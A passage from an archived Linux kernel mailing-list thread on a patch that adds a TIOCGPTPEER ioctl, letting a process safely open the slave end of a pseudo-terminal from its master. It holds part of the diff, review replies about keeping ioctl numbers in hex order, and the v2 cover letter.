 #define TIOCGDEV	_IOR('T',0x32, unsigned int) /* Get primary device node of /dev/console */
 #define TIOCSIG		_IOW('T',0x36, int)  /* Generate signal on Pty slave */
 #define TIOCVHANGUP	_IO('T', 0x37)
diff --git a/drivers/tty/pty.c b/drivers/tty/pty.c
index 65799575c666..19c134ca47bb 100644
--- a/drivers/tty/pty.c
+++ b/drivers/tty/pty.c
@@ -24,6 +24,9 @@
 #include <linux/slab.h>
 #include <linux/mutex.h>
 #include <linux/poll.h>
+#include <linux/mount.h>
+#include <linux/file.h>
+#include <linux/ioctl.h>
 
 #undef TTY_DEBUG_HANGUP
 #ifdef TTY_DEBUG_HANGUP
@@ -66,8 +69,13 @@ static void pty_close(struct tty_struct *tty, struct file *filp)
 #ifdef CONFIG_UNIX98_PTYS
 		if (tty->driver == ptm_driver) {
 			mutex_lock(&devpts_mutex);
-			if (tty->link->driver_data)
-				devpts_pty_kill(tty->link->driver_data);
+			if (tty->link->driver_data) {
+				struct path *path = tty->link->driver_data;
+
+				devpts_pty_kill(path->dentry);
+				path_put(path);
+				kfree(path);
+			}
 			mutex_unlock(&devpts_mutex);
 		}
 #endif
@@ -440,6 +448,48 @@ static int pty_common_install(struct tty_driver *driver, struct tty_struct *tty,
 	return retval;
 }
 
+/**
+ *	pty_open_peer - open the peer of a pty
+ *	@tty: the peer of the pty being opened
+ *
+ *	Open the cached dentry in tty->link, providing a safe way for userspace
+ *	to get the slave end of a pty (where they have the master fd and cannot
+ *	access or trust the mount namespace /dev/pts was mounted inside).
+ */
+static struct file *pty_open_peer(struct tty_struct *tty, int flags)
+{
+	if (tty->driver->subtype != PTY_TYPE_MASTER)
+		return ERR_PTR(-EIO);
+	return dentry_open(tty->link->driver_data, flags, current_cred());
+}
+
+static int pty_get_peer(struct tty_struct *tty, int flags)
+{
+	int fd = -1;
+	struct file *filp = NULL;
+	int retval = -EINVAL;
+
+	fd = get_unused_fd_flags(0);
+	if (fd < 0) {
+		retval = fd;
+		goto err;
+	}
+
+	filp = pty_open_peer(tty, flags);
+	if (IS_ERR(filp)) {
+		retval = PTR_ERR(filp);
+		goto err_put;
+	}
+
+	fd_install(fd, filp);
+	return fd;
+
+err_put:
+	put_unused_fd(fd);
+err:
+	return retval;
+}
+
 static void pty_cleanup(struct tty_struct *tty)
 {
 	tty_port_put(tty->port);
@@ -602,6 +652,8 @@ static int pty_unix98_ioctl(struct tty_struct *tty,
 		return pty_get_pktmode(tty, (int __user *)arg);
 	case TIOCGPTN: /* Get PT Number */
 		return put_user(tty->index, (unsigned int __user *)arg);
+	case TIOCGPTPEER: /* Open the other end */
+		return pty_get_peer(tty, (int) arg);
 	case TIOCSIG:    /* Send signal to other side of pty */
 		return pty_signal(tty, (int) arg);
 	}
@@ -718,6 +770,7 @@ static int ptmx_open(struct inode *inode, struct file *filp)
 {
 	struct pts_fs_info *fsi;
 	struct tty_struct *tty;
+	struct path *pts_path;
 	struct dentry *dentry;
 	int retval;
 	int index;
@@ -771,16 +824,26 @@ static int ptmx_open(struct inode *inode, struct file *filp)
 		retval = PTR_ERR(dentry);
 		goto err_release;
 	}
-	tty->link->driver_data = dentry;
+	/* We need to cache a fake path for TIOCGPTPEER. */
+	pts_path = kmalloc(sizeof(struct path), GFP_KERNEL);
+	if (!pts_path)
+		goto err_release;
+	pts_path->mnt = filp->f_path.mnt;
+	pts_path->dentry = dentry;
+	path_get(pts_path);
+	tty->link->driver_data = pts_path;
 
 	retval = ptm_driver->ops->open(tty, filp);
 	if (retval)
-		goto err_release;
+		goto err_path_put;
 
 	tty_debug_hangup(tty, "opening (count=%d)\n", tty->count);
 
 	tty_unlock(tty);
 	return 0;
+err_path_put:
+	path_put(pts_path);
+	kfree(pts_path);
 err_release:
 	tty_unlock(tty);
 	// This will also put-ref the fsi
diff --git a/include/uapi/asm-generic/ioctls.h b/include/uapi/asm-generic/ioctls.h
index 143dacbb7d9a..e836dc677612 100644
--- a/include/uapi/asm-generic/ioctls.h
+++ b/include/uapi/asm-generic/ioctls.h
@@ -67,6 +67,7 @@
 #endif
 #define TIOCGPTN	_IOR('T', 0x30, unsigned int) /* Get Pty Number (of pty-mux device) */
 #define TIOCSPTLCK	_IOW('T', 0x31, int)  /* Lock/unlock Pty */
+#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
 #define TIOCGDEV	_IOR('T', 0x32, unsigned int) /* Get primary device node of /dev/console */
 #define TCGETX		0x5432 /* SYS5 TCGETX compatibility */
 #define TCSETX		0x5433
-- 
2.13.0



From - Thu Nov 08 21:39:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH] tty: add TIOCGPTPEER ioctl
Date: Thu, 1 Jun 2017 20:46:29 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <CAMuHMdXkaWg70OidDi0_xALbzwZ+o0eEVEzT5U_6HdewBs4WwA@mail.gmail.com>
References: <20170601173803.8698-1-asarai@suse.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1496342795 15765 195.159.176.226 (1 Jun 2017 18:46:35 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 1 Jun 2017 18:46:35 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Jiri Slaby <jslaby@suse.com>, Arnd Bergmann <arnd@arndb.de>,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        alpha <linux-alpha@vger.kernel.org>,
        Linux MIPS Mailing List <linux-mips@linux-mips.org>,
        Parisc List <linux-parisc@vger.kernel.org>,
        "linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
        Linux-sh list <linux-sh@vger.kernel.org>,
        sparclinux <sparclinux@vger.kernel.org>,
        "linux-xtensa@linux-xtensa.org" <linux-xtensa@linux-xtensa.org>,
        Linux-Arch <linux-arch@vger.kernel.org>,
        Christian Brauner <christian.brauner@ubuntu.com>,
        Valentin Rothberg <vrothberg@suse.com>
To: Aleksa Sarai <asarai@suse.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 01 20:46:29 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dGV76-0003lr-SR
	for glpp-linux-parisc@m.gmane.org; Thu, 01 Jun 2017 20:46:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751293AbdFASqd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 1 Jun 2017 14:46:33 -0400
Original-Received: from mail-it0-f53.google.com ([209.85.214.53]:35972 "EHLO
        mail-it0-f53.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751078AbdFASqb (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 1 Jun 2017 14:46:31 -0400
Original-Received: by mail-it0-f53.google.com with SMTP id m47so45176048iti.1;
        Thu, 01 Jun 2017 11:46:31 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=e0IbSdFFJg3/qY3vrCdM+/pYSS+jZPja4VUnB/MF5CE=;
        b=DVzvPeWFKyl0jblctG3bqwSCnXuUkXXRnThFVPqCxi+HAkeTcsa+WM15ZyphAAekJi
         4ngr5hktBsx2ssUl1Ks5cRcChh+hy4IytLXD76d+k1jIKNuW01wR3xcN7PEM8tnQksF8
         EX/p7o7KgdfWt0cmfVkNAeP+9yu54FZvBEz3cPXBSbOovgKDJiewTELSWEOhCSqypu/H
         E696lyh4wnJLBnkaoToOb0R2OerYXIhPkM4yyIk1077qlOzh5/jBomJTrpE+hJDHzq09
         2Gv0QxUAdQ321ycnJcwFE/4Ercw1O7AsyCURxlIpfhr/R0Jc2QFzLtfU/9H3D5/S96H/
         /dwQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=e0IbSdFFJg3/qY3vrCdM+/pYSS+jZPja4VUnB/MF5CE=;
        b=oyBUt8q3bk4TRUYT40uMJ/QNg3WsVZMxUVJT2Zd2XVr2MhXsii3NSrATOr1jS9q341
         oHSfDfECmPb/Lxge9RXuvtPzCRH2Xf1Az67StRdasqxNJe7F0y2W6GFG6NbrPfu8iKc+
         fxz2kZqUEHq2yOzkqgnyIIATGGigD+VSRO0yoxQidg7KaxGwyI9DnfZZDQXaon6YFjic
         0vDuTY0jaFInCia36vB03EqNeQs99PYjJCHATFsQqDDe4OoACZZ+An9FJqxlg8M9T0yv
         PisCUHhp+kX7z3lXrTv9FAHoZvirKCQzBUuXcu2SyalQSFOXwHntOlUBnCQjCPBdaS+k
         pcHA==
X-Gm-Message-State: AODbwcA6twLOtR5V52yNhyFsVovpvFdaNFeppKyIde4PahsogOP7oNpU
        GX7GXX7xB8WPECttpa8Lv8v8zEJnAQ==
X-Received: by 10.36.14.203 with SMTP id 194mr758306ite.56.1496342790727; Thu,
 01 Jun 2017 11:46:30 -0700 (PDT)
Original-Received: by 10.107.15.148 with HTTP; Thu, 1 Jun 2017 11:46:29 -0700 (PDT)
In-Reply-To: <20170601173803.8698-1-asarai@suse.de>
X-Google-Sender-Auth: 8kvcKz9P4kq159sdmsHqBzCRmuA
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27439 gmane.linux.kernel:2489814 gmane.linux.ports.alpha:4215 gmane.linux.ports.mips.general:59306 gmane.linux.ports.ppc64.devel:142728 gmane.linux.ports.sh.devel:55360 gmane.linux.ports.sparc:25259 gmane.linux.kernel.cross-arch:36946
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27439>

Hi Aleksa,

On Thu, Jun 1, 2017 at 7:38 PM, Aleksa Sarai <asarai@suse.de> wrote:
> --- a/arch/alpha/include/uapi/asm/ioctls.h
> +++ b/arch/alpha/include/uapi/asm/ioctls.h
> @@ -94,6 +94,7 @@
>  #define TIOCSRS485     _IOWR('T', 0x2F, struct serial_rs485)
>  #define TIOCGPTN       _IOR('T',0x30, unsigned int) /* Get Pty Number (of pty-mux device) */
>  #define TIOCSPTLCK     _IOW('T',0x31, int)  /* Lock/unlock Pty */
> +#define TIOCGPTPEER    _IOR('T', 0x41, int) /* Safely open the slave */

Shouldn't the list of definitions be kept sorted, by hex number?
(everywhere)

>  #define TIOCGDEV       _IOR('T',0x32, unsigned int) /* Get primary device node of /dev/console */
>  #define TIOCSIG                _IOW('T',0x36, int)  /* Generate signal on Pty slave */
>  #define TIOCVHANGUP    0x5437

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Aleksa Sarai <asarai@suse.de>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH] tty: add TIOCGPTPEER ioctl
Date: Fri, 2 Jun 2017 06:00:17 +1000
Lines: 25
Approved: news@gmane.org
Message-ID: <a0671efc-4c4e-bbdc-c9d8-a7bdc22b872a@suse.de>
References: <20170601173803.8698-1-asarai@suse.de>
 <CAMuHMdXkaWg70OidDi0_xALbzwZ+o0eEVEzT5U_6HdewBs4WwA@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1496347237 22071 195.159.176.226 (1 Jun 2017 20:00:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 1 Jun 2017 20:00:37 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.1.1
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Jiri Slaby <jslaby@suse.com>, Arnd Bergmann <arnd@arndb.de>,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        alpha <linux-alpha@vger.kernel.org>,
        Linux MIPS Mailing List <linux-mips@linux-mips.org>,
        Parisc List <linux-parisc@vger.kernel.org>,
        "linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
        Linux-sh list <linux-sh@vger.kernel.org>,
        sparclinux <sparclinux@vger.kernel.org>,
        "linux-xtensa@linux-xtensa.org" <linux-xtensa@linux-xtensa.org>,
        Linux-Arch <linux-arch@vger.kernel.org>,
        Christian Brauner <christian.brauner@ubuntu.com>,
        Valentin Rothberg <vrothberg@suse.com>
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-alpha-owner@vger.kernel.org Thu Jun 01 22:00:29 2017
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1dGWGh-00047f-0P
	for lnx-linux-alpha@m.gmane.org; Thu, 01 Jun 2017 22:00:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751050AbdFAUAc (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
        Thu, 1 Jun 2017 16:00:32 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:39254 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1751024AbdFAUAa (ORCPT <rfc822;linux-alpha@vger.kernel.org>);
        Thu, 1 Jun 2017 16:00:30 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id 6BE93AAB4;
        Thu,  1 Jun 2017 20:00:28 +0000 (UTC)
In-Reply-To: <CAMuHMdXkaWg70OidDi0_xALbzwZ+o0eEVEzT5U_6HdewBs4WwA@mail.gmail.com>
Content-Language: en-US
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:4216 gmane.linux.kernel:2489853 gmane.linux.ports.mips.general:59307 gmane.linux.ports.parisc:27440 gmane.linux.ports.ppc64.devel:142732 gmane.linux.ports.sh.devel:55361 gmane.linux.ports.sparc:25260 gmane.linux.kernel.cross-arch:36947
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/4216>

>> --- a/arch/alpha/include/uapi/asm/ioctls.h
>> +++ b/arch/alpha/include/uapi/asm/ioctls.h
>> @@ -94,6 +94,7 @@
>>   #define TIOCSRS485     _IOWR('T', 0x2F, struct serial_rs485)
>>   #define TIOCGPTN       _IOR('T',0x30, unsigned int) /* Get Pty Number (of pty-mux device) */
>>   #define TIOCSPTLCK     _IOW('T',0x31, int)  /* Lock/unlock Pty */
>> +#define TIOCGPTPEER    _IOR('T', 0x41, int) /* Safely open the slave */
> 
> Shouldn't the list of definitions be kept sorted, by hex number?
> (everywhere)

Probably. The reason I put it here is because it logically is very 
similar to TIOCGPTN and TIOSPTLCK, but I can move it if the hex order is 
more important for maintainence.

-- 
Aleksa Sarai
Software Engineer (Containers)
SUSE Linux GmbH
https://www.cyphar.com/
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Richard Henderson <rth@twiddle.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH] tty: add TIOCGPTPEER ioctl
Date: Thu, 1 Jun 2017 13:12:15 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <4e16e83b-8fb7-c9b6-2f06-ee48499a67db@twiddle.net>
References: <20170601173803.8698-1-asarai@suse.de>
 <CAMuHMdXkaWg70OidDi0_xALbzwZ+o0eEVEzT5U_6HdewBs4WwA@mail.gmail.com>
 <a0671efc-4c4e-bbdc-c9d8-a7bdc22b872a@suse.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1496347947 15524 195.159.176.226 (1 Jun 2017 20:12:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 1 Jun 2017 20:12:27 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.1.0
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Jiri Slaby <jslaby@suse.com>, Arnd Bergmann <arnd@arndb.de>,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        alpha <linux-alpha@vger.kernel.org>,
        Linux MIPS Mailing List <linux-mips@linux-mips.org>,
        Parisc List <linux-parisc@vger.kernel.org>,
        "linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
        Linux-sh list <linux-sh@vger.kernel.org>,
        sparclinux <sparclinux@vger.kernel.org>,
        "linux-xtensa@linux-xtensa.org" <linux-xtensa@linux-xtensa.org>,
        Linux-Arch <linux-arch@vger.kernel.org>,
        Christian Brauner <christian.brauner@ubuntu.com>,
        Valentin Rothberg <vrothberg@suse.com>
To: Aleksa Sarai <asarai@suse.de>,
        Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 01 22:12:22 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dGWSD-0003o9-5k
	for glpp-linux-parisc@m.gmane.org; Thu, 01 Jun 2017 22:12:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751186AbdFAUM0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 1 Jun 2017 16:12:26 -0400
Original-Received: from mail-qt0-f195.google.com ([209.85.216.195]:35298 "EHLO
        mail-qt0-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751120AbdFAUMY (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 1 Jun 2017 16:12:24 -0400
Original-Received: by mail-qt0-f195.google.com with SMTP id r58so7091512qtb.2;
        Thu, 01 Jun 2017 13:12:23 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=sender:subject:to:cc:references:from:message-id:date:user-agent
         :mime-version:in-reply-to:content-language:content-transfer-encoding;
        bh=/G0rPEhB+CCPgI0rXPLmT5Qwkw+LnImMW2feqffCV/U=;
        b=Lsq1f10RCcwOPXbJK7jst9kimnrGd6chEhFyqjWdJREX8KpxbdkyaOPOFD6wN+ppsc
         MA/Vve+Fus9nBmdMtFn1kPhCNtNAF483aHnfnREdBuqx0L1e4DUHaLOP/xlIaMaehB/C
         LhVLj5DWjtmzSA9v5HMiMofPS/a9sVN7CcEyd9Kw4svjmK3bn3ewvEkAM7wNUMhP0cfw
         Nmc7TN84fw22cCBBhigEq4Duqkm7p7geAH9XFenIDZGNnTLmsBJVkS7nyi287Hi5PzEg
         QPyT49ldoSop0xcfQVYIOVM/8Z+SAxZEcWmQAOEFyO2+9qlV/WmmNR5LjLpWt4m50alv
         ELFA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:sender:subject:to:cc:references:from:message-id
         :date:user-agent:mime-version:in-reply-to:content-language
         :content-transfer-encoding;
        bh=/G0rPEhB+CCPgI0rXPLmT5Qwkw+LnImMW2feqffCV/U=;
        b=CbAblkQpQAY8YpBmDZx2I+9B0rxdejT6VhmPOluB5VybYKrsQ88lWzwlUiQZ+vuR6D
         Vy6QL9Gb7HIF0gtuAtvnba0IDGii5RgqlD5sl4SMwDxYx9BBYwqYKParUQIg2m7HuuJg
         KS5b064MUyx2sbnh8PeaEZ6thHy7AKvlYEnFAuSiB3x2HPlWGD4DuZsRKsDlwAaaLr3m
         S/3YlGF66a8pPGscOqwYqW/J/YhWNbAFZDB3X+fOWVswqJYSVPVMfVGyyuAOhGWepDuH
         ZWwqlbrSrf/v4+1VBSa7rvbNKsyER0D9dmmcxB00X9uK2t3DMd40TsR5VJaOsf2CaG1R
         yV8A==
X-Gm-Message-State: AODbwcB+lU/rQ/PMjPZRrkU7TlCstdwJS0Xe3vmMBJP6ZOD86zVwWQVo
        +VUKZB4wUej80A==
X-Received: by 10.200.55.98 with SMTP id p31mr4077395qtb.64.1496347943110;
        Thu, 01 Jun 2017 13:12:23 -0700 (PDT)
Original-Received: from bigtime.twiddle.net (cpe-98-155-27-246.hawaii.res.rr.com. [98.155.27.246])
        by smtp.googlemail.com with ESMTPSA id w205sm7851057qka.67.2017.06.01.13.12.18
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 01 Jun 2017 13:12:22 -0700 (PDT)
In-Reply-To: <a0671efc-4c4e-bbdc-c9d8-a7bdc22b872a@suse.de>
Content-Language: en-US
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27441 gmane.linux.kernel:2489876 gmane.linux.ports.alpha:4217 gmane.linux.ports.mips.general:59308 gmane.linux.ports.ppc64.devel:142733 gmane.linux.ports.sh.devel:55362 gmane.linux.ports.sparc:25261 gmane.linux.kernel.cross-arch:36948
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27441>

On 06/01/2017 01:00 PM, Aleksa Sarai wrote:
>>> --- a/arch/alpha/include/uapi/asm/ioctls.h
>>> +++ b/arch/alpha/include/uapi/asm/ioctls.h
>>> @@ -94,6 +94,7 @@
>>>   #define TIOCSRS485     _IOWR('T', 0x2F, struct serial_rs485)
>>>   #define TIOCGPTN       _IOR('T',0x30, unsigned int) /* Get Pty Number (of 
>>> pty-mux device) */
>>>   #define TIOCSPTLCK     _IOW('T',0x31, int)  /* Lock/unlock Pty */
>>> +#define TIOCGPTPEER    _IOR('T', 0x41, int) /* Safely open the slave */
>>
>> Shouldn't the list of definitions be kept sorted, by hex number?
>> (everywhere)
> 
> Probably. The reason I put it here is because it logically is very similar to 
> TIOCGPTN and TIOSPTLCK, but I can move it if the hex order is more important 
> for maintainence.
> 

Yes please.


r~
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Aleksa Sarai <asarai@suse.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v2 0/1] tty: add TIOCGPTPEER ioctl
Date: Fri,  2 Jun 2017 18:48:57 +1000
Lines: 22
Approved: news@gmane.org
Message-ID: <20170602084858.4299-1-asarai@suse.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1496393353 30851 195.159.176.226 (2 Jun 2017 08:49:13 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 2 Jun 2017 08:49:13 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-alpha@vger.kernel.org,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-arch@vger.kernel.org, Aleksa Sarai <asarai@suse.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Jiri Slaby <jslaby@suse.com>, Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jun 02 10:49:09 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dGiGa-0007rK-LU
	for glk-linux-kernel-3@m.gmane.org; Fri, 02 Jun 2017 10:49:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751293AbdFBItK (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Fri, 2 Jun 2017 04:49:10 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:50595 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1750884AbdFBItG (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 2 Jun 2017 04:49:06 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id 9E21EAB5D;
        Fri,  2 Jun 2017 08:49:04 +0000 (UTC)
X-Mailer: git-send-email 2.13.0
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2490189 gmane.linux.ports.alpha:4218 gmane.linux.ports.mips.general:59310 gmane.linux.ports.parisc:27442 gmane.linux.ports.ppc64.devel:142769 gmane.linux.ports.sh.devel:55363 gmane.linux.ports.sparc:25268 gmane.linux.kernel.cross-arch:36949
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2490189>

Changes in v2:

  * Reordered addition to ioctls.h to follow correct hex ordering.

Aleksa Sarai (1):
  tty: add TIOCGPTPEER ioctl

 arch/alpha/include/uapi/asm/ioctls.h   |  1 +
 arch/mips/include/uapi/asm/ioctls.h    |  1 +
 arch/parisc/include/uapi/asm/ioctls.h  |  1 +
 arch/powerpc/include/uapi/asm/ioctls.h |  1 +
 arch/sh/include/uapi/asm/ioctls.h      |  1 +
 arch/sparc/include/uapi/asm/ioctls.h   |  3 +-
 arch/xtensa/include/uapi/asm/ioctls.h  |  1 +
 drivers/tty/pty.c                      | 71 ++++++++++++++++++++++++++++++++--
 include/uapi/asm-generic/ioctls.h      |  1 +
 9 files changed, 76 insertions(+), 5 deletions(-)

-- 
2.13.0



From - Thu Nov 08 21:39:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Aleksa Sarai <asarai@suse.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v2 1/1] tty: add TIOCGPTPEER ioctl
Date: Fri,  2 Jun 2017 18:48:58 +1000
Lines: 264
Approved: news@gmane.org
Message-ID: <20170602084858.4299-2-asarai@suse.de>
